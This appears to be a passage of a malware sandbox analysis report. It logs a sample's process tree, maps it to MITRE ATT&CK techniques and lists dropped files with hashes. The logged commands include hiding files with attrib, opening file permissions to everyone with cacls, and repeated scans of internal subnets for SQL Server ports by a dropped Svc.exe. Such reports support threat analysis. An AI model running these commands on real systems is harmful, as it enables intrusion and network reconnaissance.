      cmd.exe /c ping -n 10 127.0.0.1 >\\.\pipe\ae153635-ea4d-475a-aa88-e64702de8c47 2>&1
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:4788
    - - C:\Windows\System32\PING.EXE
        
        ping -n 10 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6048
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\.koi_exploited -s -r -a -h
  2⤵
  - Views/modifies file attributes
  PID:4696
- C:\Windows\system32\cacls.exe
  "cacls.exe" C:\Windows\Temp\.koi_exploited /e /g everyone:f
  2⤵
  PID:1132
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:4160
- C:\Windows\system32\cacls.exe
  "cacls.exe" C:\Windows\Temp\.koi_exploited /e /g system:f
  2⤵
  PID:3784
- C:\Windows\system32\ipconfig.exe
  "ipconfig"
  2⤵
  - Gathers network information
  PID:1320
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:3988
- C:\Windows\Temp\Svc.exe
  "C:\Windows\Temp\Svc.exe" tcp 10.127.0.1 10.127.0.254 1433,14333,2433 512 /save
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:2496
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:6540
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:1728
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:5412
- C:\Windows\Temp\Svc.exe
  "C:\Windows\Temp\Svc.exe" tcp 10.127.1.1 10.127.1.254 1433,14333,2433 512 /save
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:792
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:7028
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:7120
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:4480
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:4276
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:2788
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:352
- C:\Windows\system32\ipconfig.exe
  "ipconfig"
  2⤵
  - Gathers network information
  PID:3664
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:4500
- C:\Windows\Temp\Svc.exe
  "C:\Windows\Temp\Svc.exe" tcp 10.127.0.1 10.127.0.254 1433,14333,2433 512 /save
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:1880
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:5656
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:1108
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:6164
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:6180
- C:\Windows\Temp\Svc.exe
  "C:\Windows\Temp\Svc.exe" tcp 10.127.1.1 10.127.1.254 1433,14333,2433 512 /save
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:6196
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:4488
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:2140
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:6388
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:6324
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:6688
- C:\Windows\system32\ipconfig.exe
  "ipconfig"
  2⤵
  - Gathers network information
  PID:6648
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:6884
- C:\Windows\Temp\Svc.exe
  "C:\Windows\Temp\Svc.exe" tcp 10.127.0.1 10.127.0.254 1433,14333,2433 512 /save
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:6880
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:1640
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:1532
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:6964
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:6856
- C:\Windows\Temp\Svc.exe
  "C:\Windows\Temp\Svc.exe" tcp 10.127.1.1 10.127.1.254 1433,14333,2433 512 /save
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:3244
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt +h +s
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:1216
- C:\Windows\system32\sc.exe
  "sc.exe" query ks31f477s
  2⤵
  - Launches sc.exe
  PID:6828
- C:\Windows\system32\attrib.exe
  "attrib.exe" C:\Windows\Temp\Result.txt -a -h -s -r
  2⤵
  - Views/modifies file attributes
  PID:6964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Network Service Discovery

T1046

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Service Discovery

T1007

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

csrss.exe

Path C:\Windows\Help\csrss.exe
Size 2.9MB
SHA256 d83fbe4d4d7fd5f6c4b3200b0ef310293ba250d3ee7fe0f6003c8b3c15a359e0
MD5 d33687648d316587f834e273b29f2d3d
SHA1 5a16f0d1007cec569b89dd4071b18a80d9f63e81
SHA512 10cba85e396357f40ef2ceaa2bd3e2fa62b60c12261152f1e8d871eeeb62560a54eba47f1e903ac996a21ee2e0246007737aaea91eae4edef56518d19562c28b
SSDEEP 49152:2at3O+jD+KIZoPUSYP8iWOry7je9du+6QssnZYIU6i:2at39jDSxvFO6u+BJZn+
TLSH
T1CAD58D03E69584F9D49EC078C356B632EA32B88A0AF476EB17E44A103F67F905F1D719
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.kb4013

Path C:\Windows\Temp\.kb4013
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

.kp.exe

Path C:\Windows\Temp\.kp.exe
Size 355KB
SHA256 d687a5102b2a90ed2477f96cb5cfda7cda507a09a6b8238cafb3b7fe2a08866b
MD5 1c3dc90163343b43037ccd42ce77b03a
SHA1 2d3a4b0a9e0609cdb6fe55198a1a850080d73e1b
SHA512 d86b474eca5e3be81f5e40f3f634920b85ca50a202d134909968920e8278cd4308dc43bfb12626de19cf2dc2aeae02945c03c856303623651f626a92a3e36f02
SSDEEP 6144:K0GCT/Y3pOkFyKuluLsRF5xtgEIJsBVY9I6sAiMSOBuox8U5bZOsTLw8b:ZGCT/YOkFyKmuLaF5es71PDHO0olbZZJ
TLSH
T1F2749E01B7B404F5E8ABC63486664603E772780A1734DB9F07A882FA6F637D16E3B711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.kp.url

Path C:\Windows\Temp\.kp.url
Size 29B
SHA256 ef050e258172ad6b238170c2095fe0bdde3c336d41b8cec6a0a1280473f9c72e
MD5 65d4329e3d7dc96206bf03a97f286ad1
SHA1 08a7af433524a0e286fbc66b1b0629b2c20008ed
SHA512 54577546f0d65670138156a334ba38af30dfcfea0e2a96e4110c2e2095a61acf3bbca857ded79b8c197014d051d15914fce9a7826fa1cffdc3fbf07437199e13
MD5 SHA1 SHA512

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 184B
SHA256 014c081c9dcdf43c8a8d53c469f0360857091ee34b1566bd9247d337ec8c84a7
MD5 8cb22ba6bc1ecf5c256afd4163181c3c
SHA1 20528faf1f75607387cf2c55bf06faf69499d520
SHA512 40cd2949d878c68e0025b6b92591446b7327c6f8710e7c97b77aa33a01faf5cfbb3971f013ddf15f30a75856894c932f7235dcd2a95804501ff1888a985093ff
TLSH
T1CFC092007C4A628C555ED01162885E66EB055F919B9464121902EAE03B4415308ADA24
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 336B
SHA256 498d23c3b839adb8ac789bbe75b097d17107d1475ee139004101baf751f57bbc
MD5 0d63f07efff789b4287d66add3a7ba78
SHA1 7b4116d74e16699630bee7c0427195f649bbe02f
SHA512 c870b5ac0ae426a56cb939d7ee45c0b245b639a8305473d78b436251059235ccb726162d14139ac3874cbdda6f52ad279315e02148091f0082dd82ae11a2a2ca
TLSH
T131E0C0046D1BA0CC9B0EC014338CEE26DB441BB1C77468011847F7D027C004B08DCF34
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 185B
SHA256 cdc23e133de150e04e0cd0c405d060bf0183c796f4d5bf870d520020d72ef41e
MD5 431fa47955eb7b24eb7f780fe72c1586
SHA1 08af6556404a47e5aaa101711c3f1211cf8c12af
SHA512 4862c7bf010f07c56b5721cdb276da36b115aa53ece8cd04438cb2c72b8952de414012c7b6ad815d76010778ab9a75d72acbdb060a484cecc730e001c06a9f3f
TLSH
T1ACC012003C4B62CC555ED011239C5F6BEF055FD19BD434121943E6E03B4415308BDB24
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 337B
SHA256 b50e83fe1aab4955d51dbc1df0e68d9a6944410ae1d6311c49de09212cc394da
MD5 d3c13bcdfc0c35f6df9b82ba04a95807
SHA1 6de7ece87a7406414069f9c9fb327adad219ad57
SHA512 4956ed3fa10b669b72a77ff0a0e47eb9dda7316efd6629d43e8e22e20a3d1db663351a17bdee80a6745b3b80c6ff99d5218cb3214867f30162cb87bd017b2c56
TLSH
T109E0C0042D1B90CC9B0AC014339CEA2BDB441BF1877428001487F3D027C004B18DCF34
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 185B
SHA256 21abf96769cf08d1b05bf87a28e29de5825a9e4a55c0bcbb6cd6b49376fd7851
MD5 80b372119ffacb766137b60a8f29c232
SHA1 bcf305b04f49e6ed87232753a9628b7e74461032
SHA512 01ab8765451de2541b47b56cbafd8e6140641db7dd028011411b7d343ddfa5ac220a4b08a3a4a03ac65d653df80b5be67e8ef2b5ddf0f2d9374c583799c42652
TLSH
T1E4C092003C4A628D555AD01122895E6AEB055F919B9424166A06E6A13B4815308ADA28
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 337B
SHA256 8a5d8f468e741813a1652195d9cb8dd3ba7a5bebbf8e82e1b190cc2d83923776
MD5 1166f032bef0ddf925ccb1f31fbe6dd0
SHA1 6f2b687222bd4e27af86d50986f9af963944212f
SHA512 28f67e7b147e868db9f20d74398df9c701c73d5a9214cb22e11e166ca86b58105fcc25e546e19428b526f15757c8dae532910fa43ab7a940093e92445e5ea77b
TLSH
T15AE0C0042D1B90CC9B0AC01433CCEE2AEB441BB187742804654BF3D027C404B0CDCF38
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 185B
SHA256 aa795593b9b0a4483a271c7ccec8187cdf41031115195d2ceb2bcb78c67f487f
MD5 4fea40f2f4dbb4dff5bf04d8ec0c5262
SHA1 ed348fb59949079feeef0c02e9956f738a43d233
SHA512 3e7403bc1493db299380c5027efd14ff130e90c13ce90199447195f71f7258d53e9005e5642b1bbfc2ec39837eef00ecbdccc24cf05ecba70dd7668852451333
TLSH
T18EC092003C4A628C555AD01122895E6AEB055FA19B9464161902EAA03B4815308ADA24
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 337B
SHA256 e46a725775b2fe5b66b97e98f2e254d5a43e74eb76fee1b855a5d7e8d16364d0
MD5 f1b985683ff333cc1086249fa19305d3
SHA1 af51ee5291cb1b667896482dad09b23a8008a197
SHA512 1ba2aa7870464b378b971c97fdcd3379b7d7ada37ac6a8be4212faae2abd097df471e8216f46fa08c3057c46929bc5127ccee2a39490e2157956ebd424b4fca6
TLSH
T141E0C0042D1B91CC9B0AC01433CCEE2ADB441BB1877468041447F7D027C404B0CDCF34
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 185B
SHA256 2e008b3aa0e47d3cd52ba650eecb53e11fd65d06b8d62c73defdbe9deb230c81
MD5 42e301d05be50d72235e95325d4fd7e1
SHA1 bebc8544bbd13b66b3ee433367fa6d3d2b53ef42
SHA512 deb7be6f7ad1e6224da065f389eb4c59d9b6807e879ef621699527d211c83096a8b7d6be303016e47cd490725f803794a4552224492857774d8bd1f23b643123
TLSH
T14AC012403C4B62CC516EE012238C6F6BDF055FE29BD424122907E6E03B4415708BD734
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 337B
SHA256 58e183c396ef12f12601d824d9e76d13183ba57dc19661fdbbbf73996c8b87cc
MD5 1b28259a0e3116d32c3ffecdb6f9c1e4
SHA1 deb37c2c3e954ebb9bcb87b9bb963265f3ea4433
SHA512 bd4499d66201f8c74701f1445d2cc5039def9b3ba167be3d16b9bcc9f59e9fe859099259124107ef42d872d2363d4a042bb475325be1bc5f289d5734c968f489
TLSH
T1DDE022042D1B908C971AD0152388AA2ACB441BB287741800244AE3D027C004B089CF34
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 185B
SHA256 3597b36d663527dc9b908372a0699cc54bba9c3c11eb33b61461c313c263bff7
MD5 423f5c359e1ac1c53509de9dec08fe7b
SHA1 d59703b19c440a532a28e9e82a0ca24c2b31cb0c
SHA512 67b908db75f6c8abc0ce8809924ec742c82e20440264b5a4f6f83cca3b62a5ed6353f4a58c1df6b1d77744869f0330ed6d73b592be6f831c36c3433d0f04452c
TLSH
T1CAC012003C8BA2CC515EE013239C5F6BDF056FE19BD424126A0BE7E13B4555308BD724
MD5 SHA1 SHA512 TLSH

Submit Download

Result.txt

Path C:\Windows\Temp\Result.txt
Size 337B
SHA256 017cc23aa7542d55b0b2dea558da911081f4644a3ff0f8bff0884bd963897a8d
MD5 9de7a42278c859ea5aebe6d26c8beea0
SHA1 0d1f81eb4f1bbbf6ef07a4f2803294439225aaaf
SHA512 79e1840d5424d4c0198831e500c1332851bf625a5ec3b13832da100edac3ece7b7a74be1fa48604c9168d51cf811a4caad629df5b0ec9426c7dcf9ca671a30bf
TLSH
T1EBE022042D5B908C970AD0162398AA2ACB442BB187741800654AE39027C044B089CE24
MD5 SHA1 SHA512 TLSH

Submit Download

Svc.exe

Path C:\Windows\Temp\Svc.exe
Size 56KB
SHA256 506c234275d09780af379c2d2e617da83484ba9927ebe014c732e9877514c096
MD5 1ba9879329940513a79513ed27f96cf8
SHA1 0910944b6ae59b66985bebf2a596a11c13934573
SHA512 eb02209c6f09e2bd40229de6ef36ec96f0a31934317f8eecb6abedd64fedf8fa4b5a2a3ddf4e4ee6b3678e9465c3773f4d365f7eaaa11672c5d6a750da663fb9
SSDEEP 768:y5uXbfK3lKtqRj8AR9W/2FXO+JYq5br+5zGPycsp5wtS:BLklhcCYq5P+5CP7qetS
TLSH
T16C437C97AED1A073E041C1B012A68672CBB7C118136253876B44FD6D6F71AE1BE3E359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_gp4552.exe

Path C:\Windows\Temp\_gp4552.exe
Size 60KB
SHA256 3707fb4f1a046bae3f394226c87f5f8539c71394540a44e06b4843c9af1481a9
MD5 f45b20dbc8b67f7ea44f476f3e9c18ed
SHA1 f7c996a5787ebbae367c0d7f47c625dd9b4477d1
SHA512 977def2a6336646b7b3bd985b691ff38bb16cfc29c07bf0b3d3e672a0289923140968aa6bc6a4d759e92eff9c61976a0217581c447e84fc1348fe4550c5108c6
SSDEEP 1536:ketdbPvNHhazMIB74aOZhw8h1Zy7HL9Ard3gOQ:zbPBhaHBsTLw8leHyrd3gF
TLSH
T1C353190197B88965C5DDC27461F2070203F3E11E393ED3AB6ECD91DA6F97782A627392
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3608-20-0x0000000001980000-0x0000000001994000-memory.dmp

Download

memory/3608-19-0x0000000000CA0000-0x0000000000CB6000-memory.dmp

Download